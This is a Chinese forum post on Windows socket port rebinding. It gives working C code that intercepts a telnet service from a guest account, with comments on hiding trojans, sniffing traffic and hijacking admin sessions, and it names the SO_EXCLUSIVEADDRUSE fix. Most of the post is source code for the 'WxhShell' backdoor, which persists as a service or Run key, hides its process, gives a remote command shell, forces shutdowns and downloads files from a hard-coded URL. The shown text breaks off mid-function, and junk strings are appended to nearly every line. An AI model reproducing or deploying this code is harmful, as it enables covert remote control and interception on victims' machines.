社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 19006阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: }"6 PM)s  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); P] qL&_  
\CZD.2p#&  
  saddr.sin_family = AF_INET; x\'95qU  
#A9rI;"XI  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); oO&R3zA1d  
*QP+p,L*  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); jLF,R7t  
uu;1B.[b  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 gEkH5|*Y  
E}8wnrxf  
  这意味着什么?意味着可以进行如下的攻击: _?c7{  
3 cF4xUIZ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 !A&>Eeai  
noQS bI @  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 4ZrRgx2MD  
P,={ C6*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ja+PVf  
0{ !+N6MiR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  uxsi+vkI  
M|}V6F_y  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 L<[%tvV  
y5`$Aa4~  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9; `E,w  
(Kb_/  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ECr}7R%  
-^&NwLEv=  
  #include HAdDr!/`  
  #include YzeNr*  
  #include ID8u&:  
  #include    i{4J$KT  
  DWORD WINAPI ClientThread(LPVOID lpParam);   2su/I  
  int main() WADAp\&  
  { 4)NbQ[  
  WORD wVersionRequested; {&0u:  
  DWORD ret; Vl%UT@D|  
  WSADATA wsaData; (u-eL#@  
  BOOL val; V[ 'lB.&t  
  SOCKADDR_IN saddr; eizni\  
  SOCKADDR_IN scaddr; n+SHkrW  
  int err;  -wQ@z6R  
  SOCKET s; nIf~ds&TT  
  SOCKET sc; ANq3r(  
  int caddsize; GtpBd40"  
  HANDLE mt; /xw}]Fa5  
  DWORD tid;   G:i>MJbxT  
  wVersionRequested = MAKEWORD( 2, 2 );  r74' _y  
  err = WSAStartup( wVersionRequested, &wsaData ); :fA|J!^b[  
  if ( err != 0 ) { /<T3^/ '  
  printf("error!WSAStartup failed!\n"); ^!*nhs%  
  return -1; 8\Kpc;zb  
  } 0rCQz3gh1  
  saddr.sin_family = AF_INET; uG=~k O  
   fHiS'R  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 v^3s?V D  
YWF Hv@  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); X|dlVNL8p  
  saddr.sin_port = htons(23); NY"+Qw@$  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) < %{?Js  
  { ;2[o>73F  
  printf("error!socket failed!\n"); *~Sv\L  
  return -1; SGK 5  
  } ^50\c$  
  val = TRUE; AS/z1M_U  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 g<g$c<sm  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) !v<` ^`x9I  
  { - `{T?  
  printf("error!setsockopt failed!\n"); }j;G`mV2  
  return -1; {iYrC m[_  
  } V-k x=M"k  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  EHk$,bM  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 _@OS,A  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 KtD XB>  
AwWo,Y399h  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) |./{,",  
  { ;.Y-e Q,  
  ret=GetLastError(); 7\[)5j  
  printf("error!bind failed!\n"); u{LtyDnik  
  return -1; i$lp8Y2ih  
  } 4)?s?+  
  listen(s,2); uP$C2glyz  
  while(1) aW_Pv~  
  { /z`.-D(  
  caddsize = sizeof(scaddr); 9xaieR  
  //接受连接请求 REWW(.3o  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ;L[N.ZY!  
  if(sc!=INVALID_SOCKET) [,sm]/Xlc  
  { jr/IU=u*v  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); "P yG;N!W  
  if(mt==NULL) H @5dj}  
  { vOo-jUKs  
  printf("Thread Creat Failed!\n"); NK6 ~qWsu  
  break; Q%x-BZb~  
  } `PZcL2~E  
  } "xAIK  
  CloseHandle(mt); \hI|I!sDWy  
  } 6G7+&g`  
  closesocket(s); F+)g!NQZ  
  WSACleanup(); PFjh]/=  
  return 0; TgA>(HcO  
  }   _o? I=UN2:  
  DWORD WINAPI ClientThread(LPVOID lpParam) ZC"a#rQ   
  { Q[)3r ,D  
  SOCKET ss = (SOCKET)lpParam; .S[M: <<*  
  SOCKET sc; 8(g}/%1mt3  
  unsigned char buf[4096]; p# JPLCs  
  SOCKADDR_IN saddr; _6-N+FI  
  long num; HT7I~]W  
  DWORD val; -f["1-A  
  DWORD ret;  lofP$  
  //如果是隐藏端口应用的话,可以在此处加一些判断 S/dj])g  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   yM('!iG*/  
  saddr.sin_family = AF_INET; Mh]4K" cs  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); j937tn!Q  
  saddr.sin_port = htons(23); .f&Z+MQ  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 31cZ6[  
  { 2=7:6Fw  
  printf("error!socket failed!\n"); VUC_|=?dL  
  return -1; /sr. MT  
  } yVWt%o/  
  val = 100; -J>f,zA  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) d)GR]^=r  
  { o_a'<7\#i  
  ret = GetLastError(); |k#EYf#Y  
  return -1; pgPm0+N  
  } S 9|^VU  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) C5Mpm)-%  
  { #j'7\SV  
  ret = GetLastError(); l ;S_J^S  
  return -1; ;gLOd5*0  
  } YmD~&J  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) e[6Me[b  
  { IV~5Y{(l  
  printf("error!socket connect failed!\n"); XZrzG P(  
  closesocket(sc); !X`cNd)0Xo  
  closesocket(ss); mc4|@p*  
  return -1; 39A|6>-?  
  } is=x6G*r  
  while(1) T?CQgVR  
  { jT`u!CwdT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 *onVG5<  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ]e$n;tuW  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .E;}.X  
  num = recv(ss,buf,4096,0); Ld 0j!II(  
  if(num>0) `4wy *!]  
  send(sc,buf,num,0); -Gjz+cRns  
  else if(num==0) 4kR;K !@k  
  break; GJ:oUi  
  num = recv(sc,buf,4096,0); 2V*;=cv~z  
  if(num>0) MAQ-'s@  
  send(ss,buf,num,0); z{/#/,V5D4  
  else if(num==0) -.K'rW  
  break; 6=96^o*  
  } h+w1 D}*  
  closesocket(ss); WW-}c;cnK  
  closesocket(sc); ? M.'YB2  
  return 0 ; >7z(?nQYT^  
  } n[\L6}  
9'p*7o  
%~P3t=r  
========================================================== \d3~kq3  
#Q BW%L  
下边附上一个代码,,WXhSHELL JsEnhE}]  
E:;MI{;7  
========================================================== ~MP/[,j`  
@u`m6``T  
#include "stdafx.h" <pM6fI6BD  
:;\xyy}A  
#include <stdio.h> Gn4XVzB`O  
#include <string.h> b>]UNf"-  
#include <windows.h> tMXNi\Bj  
#include <winsock2.h> ?;A\>sP  
#include <winsvc.h> GK1P7Qy?V  
#include <urlmon.h> =i6k[rg  
%vbov}R  
#pragma comment (lib, "Ws2_32.lib") _+Z5qUmQ  
#pragma comment (lib, "urlmon.lib") pcQgWjfS  
?Zb3M  
#define MAX_USER   100 // 最大客户端连接数 qcge#S>  
#define BUF_SOCK   200 // sock buffer >8&fFq  
#define KEY_BUFF   255 // 输入 buffer nELY(z  
BU|)lU5)z  
#define REBOOT     0   // 重启 U G4I @@=  
#define SHUTDOWN   1   // 关机 IFW7MF9V  
'<'5BeU  
#define DEF_PORT   5000 // 监听端口 3 K q /V_  
ru|*xNXKgC  
#define REG_LEN     16   // 注册表键长度 dh1 N/[  
#define SVC_LEN     80   // NT服务名长度 ED);2*qP}  
A@-U#UvN  
// 从dll定义API dj}|EW4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); UzW]kY[A<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Df$~=A}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); s[VYd:}se  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c4zGQoeH:  
0QyL}y2  
// wxhshell配置信息 *;Cpz[N  
struct WSCFG { 3QF[@8EH{  
  int ws_port;         // 监听端口 &8I*N6p:%/  
  char ws_passstr[REG_LEN]; // 口令 GNSh`Tm=#  
  int ws_autoins;       // 安装标记, 1=yes 0=no i~)EU F  
  char ws_regname[REG_LEN]; // 注册表键名 d^`; tD  
  char ws_svcname[REG_LEN]; // 服务名 W$W w/mcl+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Fl*<N  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 6PC?*^v  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y1[@4TY]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no "U$](k.<VA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %*RZxR):  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 h 92KU  
A`"?~_pHC  
}; $GHi9aj_P  
FF0~i+5  
// default Wxhshell configuration /%)(Uz  
struct WSCFG wscfg={DEF_PORT, vP\6=71Y  
    "xuhuanlingzhe", / %iS\R%ca  
    1, riRG9c |  
    "Wxhshell", 7r2p+LP[  
    "Wxhshell", ;|W:,a{kS  
            "WxhShell Service", b|iIdDK  
    "Wrsky Windows CmdShell Service", &VcO,7 A|  
    "Please Input Your Password: ", F{_,IQ]U  
  1, 0g; o6Fg  
  "http://www.wrsky.com/wxhshell.exe", I!Mkss xc  
  "Wxhshell.exe" ^ > ?C  
    }; ^/#8 "  
h"'}Z^  
// 消息定义模块 M#Q"h5l  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; K3h"oVn  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N8=-=]0G  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; aOQT-C[ O  
char *msg_ws_ext="\n\rExit."; keStK8  
char *msg_ws_end="\n\rQuit."; Z,"YMUl'  
char *msg_ws_boot="\n\rReboot..."; F? ps? e  
char *msg_ws_poff="\n\rShutdown..."; j`K0D65  
char *msg_ws_down="\n\rSave to "; ej1WkaR8  
B?Rkz  
char *msg_ws_err="\n\rErr!"; "-j96 KD  
char *msg_ws_ok="\n\rOK!"; x(p/9$.#  
R<%{I)  
char ExeFile[MAX_PATH]; ^:,wk7  
int nUser = 0; ooP{Q r  
HANDLE handles[MAX_USER]; y=jZ8+M   
int OsIsNt; RD;A  
O^ 5C  
SERVICE_STATUS       serviceStatus; ;jO+<~YP!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; zMM ~4?4  
"KSdC8MS  
// 函数声明 {xOzxLB;  
int Install(void); }SyK)W5Y  
int Uninstall(void); THB[(3q  
int DownloadFile(char *sURL, SOCKET wsh); e@S\7Ks  
int Boot(int flag); a^ys7UV  
void HideProc(void); l.Z+.<@  
int GetOsVer(void); nZG zez  
int Wxhshell(SOCKET wsl); edZBQmx+#  
void TalkWithClient(void *cs); %(H' j@D[  
int CmdShell(SOCKET sock); pbIVj3-lY  
int StartFromService(void); &>R:oYN  
int StartWxhshell(LPSTR lpCmdLine); Vr;>Im  
3(gOF&Uf9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ed`7GZB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); P"Z1K5>2L  
g@pK9R%wH<  
// 数据结构和表定义 .9Dncsnf,`  
SERVICE_TABLE_ENTRY DispatchTable[] = N9M",(WTt}  
{ Vup|*d2r0E  
{wscfg.ws_svcname, NTServiceMain}, D9hq$?  
{NULL, NULL} z4zPR?%:  
}; 4 Lz[bI  
1/6}E]-F  
// 自我安装 DF-.|-^9I  
int Install(void) sP~xe(  
{ J,s:CBCGL  
  char svExeFile[MAX_PATH]; FMzG6nrdBN  
  HKEY key; 6&L;Sw#Dg  
  strcpy(svExeFile,ExeFile); NbCIL8f]  
P m&^rC;  
// 如果是win9x系统,修改注册表设为自启动 2 zG;91^  
if(!OsIsNt) {  =WEDQ\ c  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `.]oH1\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); nT(AO-Ue^  
  RegCloseKey(key); I1s$\NZ~]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lhf5[Rp  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l)'*jZ  
  RegCloseKey(key); sE!g!ht  
  return 0; i [Wxu M  
    } {XD':2E  
  } D=Yr/qc?  
} Fq%NY8KNE  
else { qv |}>wU  
KP $AT}D  
// 如果是NT以上系统,安装为系统服务  -rT#Wi  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2^nws  
if (schSCManager!=0) ][YuJUK8  
{ {M= *>P]E  
  SC_HANDLE schService = CreateService mX?t|:[b  
  ( XN{zl*`  
  schSCManager, a:4!z;2 |  
  wscfg.ws_svcname, i CB:p  
  wscfg.ws_svcdisp, !1UZ<hq  
  SERVICE_ALL_ACCESS, H^vA}F`  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u:B=lZ[  
  SERVICE_AUTO_START, &5[+p{2  
  SERVICE_ERROR_NORMAL, E]S:F3  
  svExeFile, K$r)^K=s  
  NULL, .YP&E1lNi  
  NULL, 73SH[f[g  
  NULL, }9!}T~NMs  
  NULL, uc|ej9N  
  NULL bqaj~:}@  
  ); H]f[r~  
  if (schService!=0) ]Zc\si3i&  
  { Vl>KeZ+  
  CloseServiceHandle(schService); ,}9 tJY@ E  
  CloseServiceHandle(schSCManager); 9}tl @  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 3\C+g{}e  
  strcat(svExeFile,wscfg.ws_svcname); 2 !9Zw$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w@n}DCFt  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); C}DIm&))  
  RegCloseKey(key); 1TF S2R n  
  return 0; <Z\{ijfvD  
    } 2vb qz  
  } MD3iWgM  
  CloseServiceHandle(schSCManager); ^&$86-PB/  
} Tks"GlE*D  
} '$J M2 u  
2^w{Hcf  
return 1; Q}a(vlZ  
} Z%=A[` 5]  
5w+&plIJ  
// 自我卸载 <(V~eo e  
int Uninstall(void) kLpq{GUv:  
{ PSX o"   
  HKEY key; $xF[j9nM  
_N>#/v)Yi  
if(!OsIsNt) { _+~&t9A!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >hV 2p/D  
  RegDeleteValue(key,wscfg.ws_regname); Gvvw:]WgF  
  RegCloseKey(key); <aI}+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Cb.M  
  RegDeleteValue(key,wscfg.ws_regname); `U>2H4P  
  RegCloseKey(key); (v? rZv  
  return 0; v"o@q2f_  
  } 3preBs#i  
} Z)@[N 6\?  
} >ffC?5+  
else { L =M'QJl9  
U;"J8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  C ?'s  
if (schSCManager!=0) ]^i^L  
{ ]9JH.fF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E\cX  
  if (schService!=0) S_RP& +!7  
  { |Q";a:&$  
  if(DeleteService(schService)!=0) { ?5,I`9  
  CloseServiceHandle(schService); M=SrZ,W  
  CloseServiceHandle(schSCManager); >J_ P[v  
  return 0; W/CZ/Mc  
  } ^!n|j]aw  
  CloseServiceHandle(schService); _={mKKoHs  
  } 3TS:H1n  
  CloseServiceHandle(schSCManager); D,(:))DmR  
} >m{>0k(^`  
} [nrD4  
QXl~a%lB  
return 1; jpTk@  
} oL<5hN*D  
_#{qDG=  
// 从指定url下载文件 ?C   
int DownloadFile(char *sURL, SOCKET wsh) G|"m-.9F  
{ {y%@1q%"  
  HRESULT hr; .3cD.']%  
char seps[]= "/"; % I2JS  
char *token; gFfKK`)}D'  
char *file; \ Z5160  
char myURL[MAX_PATH]; v-Q>I5D;:  
char myFILE[MAX_PATH]; $+Z2q<UT  
)e6sg]#  
strcpy(myURL,sURL); *~b~y7C  
  token=strtok(myURL,seps); {MDM=;WP_  
  while(token!=NULL) FP*kA_z$  
  { FT-=^VA\  
    file=token; }n'W0 Sa  
  token=strtok(NULL,seps); [ q[2\F?CE  
  } V{x[^+w7X~  
tYSfeU  
GetCurrentDirectory(MAX_PATH,myFILE); GZY:EHuz[  
strcat(myFILE, "\\"); 2 &_>2"=<@  
strcat(myFILE, file); &fU48n1Uh  
  send(wsh,myFILE,strlen(myFILE),0); NS*Lv  
send(wsh,"...",3,0); YQD/vc~8G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~@[<y1g?nG  
  if(hr==S_OK) @l5GBsLK  
return 0; 9jNh%raG|  
else CJs ~!ww  
return 1; {G<1.  
[qk c6sqo  
} (XFF}~>B.  
}nO%q6|\V  
// 系统电源模块 kXlI *h  
int Boot(int flag) \|M[W~8  
{ ,Ik~E&Ku2'  
  HANDLE hToken; `@vksjxu  
  TOKEN_PRIVILEGES tkp; [~`p~@\+  
P4|A\|t  
  if(OsIsNt) { 141xi;o  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); bUSa#pNO>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W{j(=<|<  
    tkp.PrivilegeCount = 1; N%e^2O)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; k5+ Fxf  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t'.:"H8BI  
if(flag==REBOOT) { NGO?K?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) R4$(NNC+/  
  return 0; &yOl}?u  
} r>CBp$  
else { &Mt0Qa[  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Xh/BVg7$  
  return 0; \pSRG=`  
} x(~V7L>"i  
  } Ap|g[J  
  else { ZW@cw}  
if(flag==REBOOT) { IMzt1l =7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =e9<.{]S/  
  return 0; a( N;| <  
} @uG/2'B(  
else { 78?cCj{e  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) j8rxhToC  
  return 0; h%v qt~0  
} mC?}:W M@  
} 1|:;~9n<t  
uX&h~qE/  
return 1; F6:LH,~8   
} 2^:iU{  
If8 ^  
// win9x进程隐藏模块 wu b7w#  
void HideProc(void) TB84}  
{ QA)W(1  
|8GLS4.]t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); .1ep8O<  
  if ( hKernel != NULL ) #cb9g   
  { wjT#D|soI  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r/HG{XH`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ea0EG>Y  
    FreeLibrary(hKernel); \nL@P6X  
  } cHVu6I?h  
7_lgo6  
return; .SOCWznb  
} AgUjC  
=GeGlI6  
// 获取操作系统版本 z=8l@&hYLq  
int GetOsVer(void) n,_9Eh#WD  
{ yD8Qy+6L  
  OSVERSIONINFO winfo; \{ C ~B;=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); q^<;B Y  
  GetVersionEx(&winfo); tq=M 9c  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 'A1y~x#2B  
  return 1; N4{g[[ T  
  else 0}T 56aD=!  
  return 0; j W[EjhsH  
} &?}h)U#:  
wOrj-Smx  
// 客户端句柄模块 %?8.UW\m  
int Wxhshell(SOCKET wsl) XjxI@VXzUV  
{ zgn`@y2  
  SOCKET wsh; (IA:4E}  
  struct sockaddr_in client; -OKXfN]  
  DWORD myID; BV\~Dm]"  
:X7O4?ww  
  while(nUser<MAX_USER) 2|`Mb~E;  
{ s= z$;1C  
  int nSize=sizeof(client); u~mpZ"9$ 3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I+jc  
  if(wsh==INVALID_SOCKET) return 1; |O"Pb`V+  
'gsO}xj  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {e0aH `me  
if(handles[nUser]==0) !thFayq  
  closesocket(wsh); 'kg~#cf/+  
else U2\k7I  
  nUser++; H;Gs0Qi;  
  }  Lu[Hz8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); v^[!NygShs  
l SuNZY aO  
  return 0; DLe>EU;vS  
} th0>u.hJ  
>km$zfM2-  
// 关闭 socket pNu?DF{ 3  
void CloseIt(SOCKET wsh) m+ #G*  
{ aFh'KPhe  
closesocket(wsh); G,(Xz"`,  
nUser--; i"E_nN"V  
ExitThread(0); m}6>F0Kv  
} "ZmxHMf  
`H^ H#W  
// 客户端请求句柄 j2 >WHh  
void TalkWithClient(void *cs) m]{/5L  
{ ^lK!tOeO  
yC!>7@m  
  SOCKET wsh=(SOCKET)cs; D?H|O[  
  char pwd[SVC_LEN]; qi8AK(v  
  char cmd[KEY_BUFF]; ogya~/  
char chr[1]; N2u4MI2  
int i,j; $ylxl"Y  
(;HO3Z".q$  
  while (nUser < MAX_USER) { )k `+9}OO  
V {}TG]  
if(wscfg.ws_passstr) { hWX4 P  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gDX\ p>7  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >9<rc[  
  //ZeroMemory(pwd,KEY_BUFF); XqcNFSo)  
      i=0; Jr>Nc}!U  
  while(i<SVC_LEN) { 'w|N} 4  
M?['HoRo  
  // 设置超时 s(MdjWw  
  fd_set FdRead; 90H/Txq  
  struct timeval TimeOut; Lr`Gyl62  
  FD_ZERO(&FdRead); wvr`~e  
  FD_SET(wsh,&FdRead); -W|~YK7e  
  TimeOut.tv_sec=8; LXR>M>a`  
  TimeOut.tv_usec=0; bF +d_t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .ffr2\'*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1Va@w  
Ow-;WO_HQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); wMM1Q/-#  
  pwd=chr[0]; /5\{(=0  
  if(chr[0]==0xd || chr[0]==0xa) { &kH7_Lz  
  pwd=0; oL9ELtb ]s  
  break; Kf6D$}  
  } S7R*R}  
  i++; UK[+I]I p  
    } iciRlx.$c  
t*c_70|@k  
  // 如果是非法用户,关闭 socket HLE%f;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); gM6o~ E  
} (W9 K: ]}  
7? ="{;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); w&&)v~Y_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .O{_^~w_q  
@DAaCF8  
while(1) { .e5rKkkT  
;$4: &T  
  ZeroMemory(cmd,KEY_BUFF); QCfR2Nn}  
i \.&8  
      // 自动支持客户端 telnet标准   ^4{{ +G)j  
  j=0; 5ai$W`6  
  while(j<KEY_BUFF) { tZr_{F@  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); W9A F}  
  cmd[j]=chr[0]; G[P<!6Id!p  
  if(chr[0]==0xa || chr[0]==0xd) { 1L3 $h0i  
  cmd[j]=0; ]v$2JgF]@  
  break; #Jfmt~ks '  
  } A5G@u}YS5  
  j++; hCj8y.X|E(  
    } mWVq>~  
)Qo^Mz  
  // 下载文件 4HGR-S/  
  if(strstr(cmd,"http://")) { RRGs:h@;  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); k rXU*64  
  if(DownloadFile(cmd,wsh)) !nF.whq  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); pq]>Ep  
  else m2F+ 6G  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2o0WS~}5  
  } S Fqq(K2u  
  else { 9['>$ON  
1Msc:7:L  
    switch(cmd[0]) { 3 gW+|3E  
  )fc+B_  
  // 帮助 hWr}Uui  
  case '?': { m;u:_4  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); BR~+CBH  
    break; asYUb&Hz88  
  } _^F%$K6  
  // 安装 =jRC4]M})  
  case 'i': { (abtCuZ8z  
    if(Install()) >i2WYT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); In}~bNv?  
    else ;O({|mpS\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :Z3]Dk;y  
    break; =>xyJ->R  
    } ESkhCDU  
  // 卸载 [iN\R+:  
  case 'r': { kg$w<C@#"  
    if(Uninstall()) &LhR0A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,{#Li  
    else -.UUa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *47%| bf`  
    break; +3-f$/po  
    } FF30 VlJ  
  // 显示 wxhshell 所在路径 /I0}(;^y  
  case 'p': { 5^36nEoA(  
    char svExeFile[MAX_PATH]; F\+!\b*lP  
    strcpy(svExeFile,"\n\r"); a &hj|  
      strcat(svExeFile,ExeFile); #:[CF:  
        send(wsh,svExeFile,strlen(svExeFile),0); 9:*a9xT,  
    break; 28 ;x5m)N  
    } { b7%Zd3-  
  // 重启 D (Q=EdlO  
  case 'b': { )AAPT7!U  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 6W N(Tw  
    if(Boot(REBOOT)) 0C0ld!>r  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~*RBMHs  
    else { l>@){zxL  
    closesocket(wsh); j.29nJ  
